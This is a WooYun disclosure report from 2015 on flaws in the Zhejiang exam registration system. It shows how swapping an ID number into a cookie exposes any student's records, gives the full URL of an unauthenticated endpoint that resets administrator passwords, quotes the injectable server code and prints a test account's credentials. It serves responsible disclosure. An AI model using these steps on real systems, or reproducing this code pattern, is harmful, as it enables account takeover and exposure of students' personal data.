当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100976

漏洞标题:看我如何攻破浙江招考系统之第二波(任意信息随便改+管理员密码重置)

相关厂商:浙江省教育考试院

漏洞作者: GreenVine

提交时间:2015-03-13 10:34

修复时间:2015-04-27 10:36

公开时间:2015-04-27 10:36

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-13: 细节已通知厂商并且等待厂商处理中
2015-03-18: 厂商已经确认,细节仅向厂商公开
2015-03-28: 细节向核心白帽子及相关领域专家公开
2015-04-07: 细节向普通白帽子公开
2015-04-17: 细节向实习白帽子公开
2015-04-27: 细节向公众公开

简要描述:

昨天发完浙江招考系统漏洞第一波,今天继续。设计缺陷导致可查询、修改任何考生报名、成绩信息,且可重置任意管理员密码

详细说明:

1. 判断当前用户,程序猿是介样写滴:

case "getuserinfo":
usersfz = context.Request.Cookies["usersfz"].Value;
DataSet getuds = DbHelperOra.Query("select * from userinfo where SHENFENZHENG='" + usersfz + "'");
context.Response.Write(JsonHelper.ToJson(getuds.Tables[0]));
break;


系统提供了一个测试学生帐号:
身份证:310200199402110638
密码:lAc8in5Fa

student_details.jpg


我们选一个真实学生钟方某:

admin_users.jpg


登进去后直接改Cookie为他的身份证号,刷新查成绩,get √

student_cookie.jpg


注:系统大部分操作完全依赖Cookie里面的值,带入SQL直接查询未做任何过滤,你懂得。
2. 无意中发现一个很有意思的接口:
http://pgzy.zjzs.net:8011/admin/gk201501/ashx/meminf.ashx?action=save_czmm_update&edit_mem_no_Text=admin&cookie_mem_no_Text=admin
edit_mem_no_Text就是要修改的管理员用户名,成功后重置为123456

admin_pwdupdate.jpg


case "save_czmm_update":
string save_czmm_update_cookie_mem_no_Str = context.Request.Params["cookie_mem_no_Text"];
string save_czmm_update_edit_mem_no_Str = context.Request.Params["edit_mem_no_Text"];
string save_czmm_update_new_mm_Str = "e10adc3949ba59abbe56e057f20f883e";
if (Zjnu.Common.Kaowuclass.allXM_If_can_Reset_mima_fun(save_czmm_update_cookie_mem_no_Str, save_czmm_update_edit_mem_no_Str, param_XM_Name_Str))
{
int resunt_int = DbHelperOra.ExecuteSql("update BAS_MEMBER set MEM_PASSWORD='" + save_czmm_update_new_mm_Str + "',LOGINIP='' where MEM_NO='" + save_czmm_update_edit_mem_no_Str + "'");
//添加日志
string save_czmm_update_old_zhi_Str, save_czmm_update_new_zhi_Str;
save_czmm_update_old_zhi_Str = "";
save_czmm_update_new_zhi_Str = "update BAS_MEMBER set MEM_PASSWORD='" + save_czmm_update_new_mm_Str + "',LOGINIP='' where MEM_NO='" + save_czmm_update_edit_mem_no_Str + "'";
save_czmm_update_new_zhi_Str = save_czmm_update_new_zhi_Str.Replace("'", "");
Zjnu.Common.LOGHelper.AddLog(cookie_MEM_NO_Str, cookie_MEM_NAME_Str, DateTime.Now, cookie_MEM_LOGINIP_Str, param_XM_Name_Str, "", "meminf", "save_czmm_update", save_czmm_update_old_zhi_Str, save_czmm_update_new_zhi_Str, "成功重置管理员密码");
context.Response.Write("{\"status\": \"success\",\"cz_result\": \"" + "更新成功。" + "\"}");
}

漏洞证明:

1. Cookie欺骗

student_details.jpg


student_cookie.jpg


2. 未授权访问

admin_pwdupdate.jpg

修复方案:

你懂的
提供漏洞信息高考加分么?

版权声明:转载请注明来源 GreenVine@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-03-18 08:31

厂商回复:

CNVD确认所述风险,已经转由CNCERT发给浙江分中心处置.

最新状态:

暂无